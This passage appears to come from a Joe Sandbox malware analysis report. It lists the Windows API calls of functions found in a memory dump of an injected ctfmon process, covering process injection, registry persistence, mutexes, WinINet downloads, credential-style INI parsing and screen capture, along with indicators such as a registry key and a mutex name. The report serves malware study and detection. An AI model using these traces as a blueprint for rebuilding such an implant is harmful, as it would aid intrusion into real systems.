      • Part of subcall function 00A5131B: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 00A514ED
      • Part of subcall function 00A5131B: RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 00A5150D
      • Part of subcall function 00A5131B: RegCloseKey.ADVAPI32(000000FF), ref: 00A51520
      • Part of subcall function 00A5131B: GetLocalTime.KERNEL32(?), ref: 00A5152F
      • Part of subcall function 00A59B3D: GetTempFileNameW.KERNEL32(00A64398,pre,00000000,?), ref: 00A59BB9
      • Part of subcall function 00A55C34: CreateMutexW.KERNEL32(00A62AFC,00000000,00A64090), ref: 00A55C59
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5B425, Relevance: 9.2, APIs: 6, Instructions: 170
    APIs
      • Part of subcall function 00A4B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 00A4B866
      • Part of subcall function 00A4B7E9: WSASetLastError.WS2_32(0000274C,?,?,?), ref: 00A4B877
    • WSAGetLastError.WS2_32(000000FF,?,000003E8,00000000,?,?,?), ref: 00A5B465
    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00A5B47E
    • accept.WS2_32(?,?,?), ref: 00A5B4A7
      • Part of subcall function 00A4B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00A4B953
      • Part of subcall function 00A4B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00A4B92E
      • Part of subcall function 00A4B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 00A4B9C7
    • EnterCriticalSection.KERNEL32(00A645A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 00A5B56F
    • SetEvent.KERNEL32(?), ref: 00A5B596
    • LeaveCriticalSection.KERNEL32(00A645A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 00A5B59D
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A5B218: EnterCriticalSection.KERNEL32(00A645A0,?,000000FF,?,00A5B5CA,?,?,?,?), ref: 00A5B221
      • Part of subcall function 00A5B218: LeaveCriticalSection.KERNEL32(00A645A0,?,000000FF,?,00A5B5CA,?,?,?,?), ref: 00A5B284
      • Part of subcall function 00A5B218: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00A5B2B6
      • Part of subcall function 00A4C62D: SetLastError.KERNEL32(0000009B,00A383E2,00000000,00A5026D,00000000), ref: 00A4C637
      • Part of subcall function 00A4C62D: CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A4C65A
      • Part of subcall function 00A5B2E3: EnterCriticalSection.KERNEL32(00A645A0,?,?,00A5B607,00000000,00A5B388,?,000000FF,00000002,?,?,?,?,?), ref: 00A5B2F4
      • Part of subcall function 00A5B2E3: CloseHandle.KERNEL32(?), ref: 00A5B330
      • Part of subcall function 00A5B2E3: LeaveCriticalSection.KERNEL32(00A645A0,?,?,00A5B607,00000000,00A5B388,?,000000FF,00000002,?,?,?,?,?), ref: 00A5B37F
      • Part of subcall function 00A4C5DB: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4C5FA
      • Part of subcall function 00A4C5DB: CloseHandle.KERNEL32(?), ref: 00A4C606
      • Part of subcall function 00A4B8E5: shutdown.WS2_32(?,00000002), ref: 00A4B8ED
      • Part of subcall function 00A4B8E5: #3.WS2_32(?,?,00000002,00A5AC91,?,?,?,?,54C73B8B,3C3D0F99), ref: 00A4B8F4
      • Part of subcall function 00A4C672: WaitForMultipleObjects.KERNEL32(?,00A629A4,00000001,000000FF), ref: 00A4C684
      • Part of subcall function 00A4C695: CloseHandle.KERNEL32(?), ref: 00A4C6A3
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A54191, Relevance: 9.2, APIs: 6, Instructions: 169
    APIs
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00A54206
    • StrStrIW.SHLWAPI(?,?), ref: 00A5429D
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A542C5
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 00A542E2
    • GetPrivateProfileStringW.KERNEL32(?,000000FF,00000000,?,000000FF,?), ref: 00A54313
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A54334
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A53D7F, Relevance: 9.1, APIs: 6, Instructions: 142
    APIs
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00A53DB6
    • StrStrIW.SHLWAPI(?,?), ref: 00A53E48
    • StrStrIW.SHLWAPI(?,?), ref: 00A53E59
    • GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00A53E75
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A53E93
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A53EAD
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A38600, Relevance: 9.1, APIs: 6, Instructions: 88
    APIs
      • Part of subcall function 00A4D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A4D8C8
      • Part of subcall function 00A4D8B7: CloseHandle.KERNEL32(00000001), ref: 00A4D8D6
      • Part of subcall function 00A5A297: StrCmpNIW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data,00B51EE8), ref: 00A5A31B
      • Part of subcall function 00A5A297: lstrcmpiW.KERNEL32(?,E121EBEE), ref: 00A5A333
    • CreateMutexW.KERNEL32(00A62AFC,00000001,?), ref: 00A38663
    • CloseHandle.KERNEL32 ref: 00A386F3
      • Part of subcall function 00A4BD28: GetLastError.KERNEL32(7C802530,00A37E8B), ref: 00A4BD2B
      • Part of subcall function 00A4BD28: CloseHandle.KERNEL32 ref: 00A4BD39
      • Part of subcall function 00A50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A504BA
    • CloseHandle.KERNEL32(000001E6), ref: 00A38701
      • Part of subcall function 00A3853D: SHGetFolderPathW.SHELL32(00000000,00000029,00000000,00000000,?), ref: 00A38555
      • Part of subcall function 00A3853D: CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00A385A7
      • Part of subcall function 00A3853D: CloseHandle.KERNEL32(?), ref: 00A385B4
      • Part of subcall function 00A56F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A56F87
      • Part of subcall function 00A56F66: Process32FirstW.KERNEL32(?,00C1FD4C), ref: 00A56FB0
      • Part of subcall function 00A56F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00A5700B
      • Part of subcall function 00A56F66: CloseHandle.KERNEL32 ref: 00A57028
      • Part of subcall function 00A56F66: GetLengthSid.ADVAPI32(?,?,?,00C1FF78), ref: 00A5703B
      • Part of subcall function 00A56F66: CloseHandle.KERNEL32(?), ref: 00A570AC
      • Part of subcall function 00A56F66: Process32NextW.KERNEL32(?,0000022C), ref: 00A570B8
      • Part of subcall function 00A56F66: CloseHandle.KERNEL32(?), ref: 00A570C9
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00A386C1
    • OpenEventW.KERNEL32(00000002,00000000,?), ref: 00A386D9
    • SetEvent.KERNEL32 ref: 00A386EC
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5A8DC, Relevance: 9.1, APIs: 6, Instructions: 79
    APIs
      • Part of subcall function 00A380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00A3817A
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00A5A902
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00A5A915
      • Part of subcall function 00A59DD0: SetEvent.KERNEL32(00A5A925), ref: 00A59DD6
      • Part of subcall function 00A59DD0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A59DF0
      • Part of subcall function 00A503CF: SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 00A5040E
      • Part of subcall function 00A503CF: Sleep.KERNEL32(000001F4), ref: 00A5041D
      • Part of subcall function 00A503CF: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00A50432
      • Part of subcall function 00A503CF: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00A5044A
      • Part of subcall function 00A503CF: RegCloseKey.ADVAPI32(?), ref: 00A50459
      • Part of subcall function 00A4DCBF: FindFirstFileW.KERNEL32(?,?), ref: 00A4DCF0
      • Part of subcall function 00A4DCBF: FindNextFileW.KERNEL32(?,?), ref: 00A4DD4B
      • Part of subcall function 00A4DCBF: FindClose.KERNEL32 ref: 00A4DD56
      • Part of subcall function 00A4DCBF: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4DD62
      • Part of subcall function 00A4DCBF: RemoveDirectoryW.KERNEL32(?), ref: 00A4DD69
    • SHDeleteKeyW.SHLWAPI(80000001,?), ref: 00A5A953
    • CharToOemW.USER32(?,?), ref: 00A5A96F
    • CharToOemW.USER32(?,?), ref: 00A5A97E
      • Part of subcall function 00A48ED6: wvnsprintfA.SHLWAPI(?,0000026C,?,?), ref: 00A48EF2
    • ExitProcess.KERNEL32(00000000), ref: 00A5A9D6
      • Part of subcall function 00A49F62: CharToOemW.USER32(?,?), ref: 00A49F93
      • Part of subcall function 00A49F62: GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 00A4A00F
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4A327, Relevance: 9.1, APIs: 6, Instructions: 74
    APIs
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00A4A347
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4A375
    • InternetReadFile.WININET(?,?,00001000,?), ref: 00A4A391
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00A4A3AC
    • FlushFileBuffers.KERNEL32 ref: 00A4A3CC
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • CloseHandle.KERNEL32 ref: 00A4A3DF
      • Part of subcall function 00A4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4D95E
      • Part of subcall function 00A4D955: DeleteFileW.KERNEL32(?), ref: 00A4D968
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4CC75, Relevance: 9.1, APIs: 6, Instructions: 72
    APIs
    • WindowFromPoint.USER32(?,?), ref: 00A4CC91
    • SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 00A4CCC2
    • GetWindowLongW.USER32(?,000000F0), ref: 00A4CCE6
    • SetWindowLongW.USER32(?,000000F0), ref: 00A4CCF7
    • GetWindowLongW.USER32(00000002,000000F0), ref: 00A4CD14
    • SetWindowLongW.USER32(?,000000F0), ref: 00A4CD22
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4D80F, Relevance: 9.1, APIs: 6, Instructions: 68
    APIs
    • CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 00A4D834
    • GetFileSizeEx.KERNEL32(?,00000000), ref: 00A4D847
    • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00A4D86F
    • ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 00A4D887
    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A4D8A1
    • CloseHandle.KERNEL32(00000001), ref: 00A4D8AA
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A3924C, Relevance: 9.1, APIs: 6, Instructions: 57
    APIs
    • InterlockedExchange.KERNEL32(00A63060,00000000,7C80AE40), ref: 00A39261
    • InterlockedExchange.KERNEL32(00A63040,00000000), ref: 00A3926A
    • InitializeCriticalSection.KERNEL32(00A63018), ref: 00A39271
    • GetProcAddress.KERNEL32(?,?), ref: 00A392D1
    • GetProcAddress.KERNEL32(?), ref: 00A392E2
    • GetProcAddress.KERNEL32(?), ref: 00A392F2
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A44962, Relevance: 9.1, APIs: 6, Instructions: 54
    APIs
    • GetUpdateRgn.USER32(?,?,?), ref: 00A449EA
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • TlsGetValue.KERNEL32 ref: 00A44982
    • SetRectRgn.GDI32(?,?,?,?,?), ref: 00A449A2
    • SaveDC.GDI32(?), ref: 00A449B2
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00A449C2
    • RestoreDC.GDI32(?), ref: 00A449D4
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A496EA, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A49703
    • CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00A4971B
    • CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00A49737
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 00A4974F
    • CryptDestroyHash.ADVAPI32(?), ref: 00A49766
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A49770
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A49656, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A4966F
    • CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00A49687
    • CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00A496A3
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00A496BB
    • CryptDestroyHash.ADVAPI32(?), ref: 00A496D2
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A496DC
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A58AB9, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238
    APIs
    • GetTickCount.KERNEL32 ref: 00A58BB5
    • GetUserDefaultUILanguage.KERNEL32 ref: 00A58C06
    • GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00A58C4B
    • GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00A58C91
      • Part of subcall function 00A50533: CreateMutexW.KERNEL32(00A62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A50556
      • Part of subcall function 00A3AD37: GetVersionExW.KERNEL32(?), ref: 00A3AD5B
      • Part of subcall function 00A3AD37: GetNativeSystemInfo.KERNEL32(?), ref: 00A3AD6A
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A48245: GetSystemTime.KERNEL32(?), ref: 00A4824F
      • Part of subcall function 00A48245: SystemTimeToFileTime.KERNEL32(?,?), ref: 00A4825D
      • Part of subcall function 00A4826D: GetTimeZoneInformation.KERNEL32(?), ref: 00A4827C
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A3ADB4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
    APIs
    • ConvertSidToStringSidW.ADVAPI32(?,?), ref: 00A3ADC8
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
    • LocalFree.KERNEL32(?), ref: 00A3AE5A
      • Part of subcall function 00A4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A4C6C6
      • Part of subcall function 00A4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A4C748
    • PathUnquoteSpacesW.SHLWAPI(?), ref: 00A3AE31
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A3AE42
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4A06B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
    APIs
    • InternetOpenA.WININET(?,?,00000000,00000000,00000000), ref: 00A4A082
    • InternetSetOptionA.WININET(?,00000002,00A6253C,00000004), ref: 00A4A0A1
    • InternetConnectA.WININET(?,00000000,00000000,00000000,00000000,00000003,00000000,00000000), ref: 00A4A0BE
    • InternetCloseHandle.WININET ref: 00A4A0CA
    Strings
    • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1), xrefs: 00A4A073, 00A4A081
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4A52D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43
    APIs
    • LoadLibraryA.KERNEL32(urlmon.dll), ref: 00A4A53E
    • GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 00A4A551
    • FreeLibrary.KERNEL32(?), ref: 00A4A5A2
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A538DA, Relevance: 7.7, APIs: 5, Instructions: 163
    APIs
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00A53946
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A539D7
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 00A539F1
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A53A1F
    • GetPrivateProfileStringW.KERNEL32(?,0000FFFF,00000000,0000FFFF,000000FF,?), ref: 00A53A3E
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5ACD8, Relevance: 7.7, APIs: 5, Instructions: 162
    APIs
      • Part of subcall function 00A37ED5: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A37EF6
    • GetCurrentThread.KERNEL32 ref: 00A5ACF9
    • SetThreadPriority.KERNEL32 ref: 00A5AD00
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 00A5AD1E
      • Part of subcall function 00A55B94: RegOpenKeyExW.ADVAPI32(80000001,00A64028,00000000,00000001,?), ref: 00A55BD3
    • CreateMutexW.KERNEL32(00A62AFC,00000001,?), ref: 00A5ADF7
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
      • Part of subcall function 00A49ED7: CreateThread.KERNEL32(00000000,00A5AB01,00080000,00A5AE68), ref: 00A49EEB
      • Part of subcall function 00A49ED7: CloseHandle.KERNEL32 ref: 00A49EF6
      • Part of subcall function 00A4BD28: GetLastError.KERNEL32(7C802530,00A37E8B), ref: 00A4BD2B
      • Part of subcall function 00A4BD28: CloseHandle.KERNEL32 ref: 00A4BD39
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 00A5AEBD
      • Part of subcall function 00A4BD18: ReleaseMutex.KERNEL32 ref: 00A4BD1C
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4E587, Relevance: 7.6, APIs: 5, Instructions: 111
    APIs
    • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 00A4E5A8
      • Part of subcall function 00A4D92E: GetFileSizeEx.KERNEL32(?,?), ref: 00A4D93A
    • ReadFile.KERNEL32(?,?,00000005,?,00000000), ref: 00A4E5E9
    • CloseHandle.KERNEL32 ref: 00A4E5F5
    • ReadFile.KERNEL32(?,?,00000005,00000005,00000000), ref: 00A4E664
    • SetEndOfFile.KERNEL32 ref: 00A4E68A
      • Part of subcall function 00A4D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A4D8F0
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5678A, Relevance: 7.6, APIs: 5, Instructions: 110
    APIs
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • GetProcessId.KERNEL32(?), ref: 00A567F4
      • Part of subcall function 00A44EBF: CharLowerW.USER32 ref: 00A44EF2
      • Part of subcall function 00A37E34: CreateMutexW.KERNEL32(00A62AFC,00000001,00C1FF20), ref: 00A37E7C
      • Part of subcall function 00A37F10: DuplicateHandle.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,00000002), ref: 00A37F40
      • Part of subcall function 00A37F10: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00A3802C
    • GetThreadContext.KERNEL32(00000000,?), ref: 00A5689C
    • SetThreadContext.KERNEL32(00000000,00010003), ref: 00A568DC
    • VirtualFreeEx.KERNEL32(?,00000001,00000000,00008000), ref: 00A568F2
    • CloseHandle.KERNEL32(?), ref: 00A568FB
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4FA1C, Relevance: 7.6, APIs: 5, Instructions: 99
    APIs
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • GetDIBits.GDI32(00A645C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00A4FA54
    • GetDIBits.GDI32(00A645C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00A4FA6A
    • DeleteObject.GDI32(00000002), ref: 00A4FA77
    • CreateDIBSection.GDI32(00A645C0,?,00000000,00000000,00000000,00000000), ref: 00A4FAE7
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • DeleteObject.GDI32(00000002), ref: 00A4FB06
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A57784, Relevance: 7.6, APIs: 5, Instructions: 89
    APIs
    • ResetEvent.KERNEL32(?), ref: 00A5778F
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • InternetSetStatusCallbackW.WININET(?,00A5775B), ref: 00A577BF
    • InternetReadFileExA.WININET(?,?,00000008,00000000), ref: 00A577F7
    • GetLastError.KERNEL32 ref: 00A57801
      • Part of subcall function 00A4BCB2: TranslateMessage.USER32(?), ref: 00A4BCD4
      • Part of subcall function 00A4BCB2: DispatchMessageW.USER32(?), ref: 00A4BCDF
      • Part of subcall function 00A4BCB2: PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00A4BCEF
      • Part of subcall function 00A4BCB2: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00A4BD03
    • InternetSetStatusCallbackW.WININET(?,?), ref: 00A5785A
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A480EB: HeapAlloc.KERNEL32(00000008,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?,?), ref: 00A4810D
      • Part of subcall function 00A480EB: HeapReAlloc.KERNEL32(00000008,?,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?), ref: 00A4811E
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A38D90, Relevance: 7.6, APIs: 5, Instructions: 85
    APIs
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00A38DDB
    • WriteFile.KERNEL32(?,?,000001DF,?,00000000), ref: 00A38E19
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00A38E3D
    • FlushFileBuffers.KERNEL32(?), ref: 00A38E51
    • CloseHandle.KERNEL32(?), ref: 00A38E5A
      • Part of subcall function 00A4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4D95E
      • Part of subcall function 00A4D955: DeleteFileW.KERNEL32(?), ref: 00A4D968
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A44CD7, Relevance: 7.6, APIs: 5, Instructions: 80
    APIs
    • GetWindowInfo.USER32(?,?), ref: 00A44CF6
    • IntersectRect.USER32(?,?), ref: 00A44D34
    • IsRectEmpty.USER32(?), ref: 00A44D46
    • IntersectRect.USER32(?,?), ref: 00A44D5D
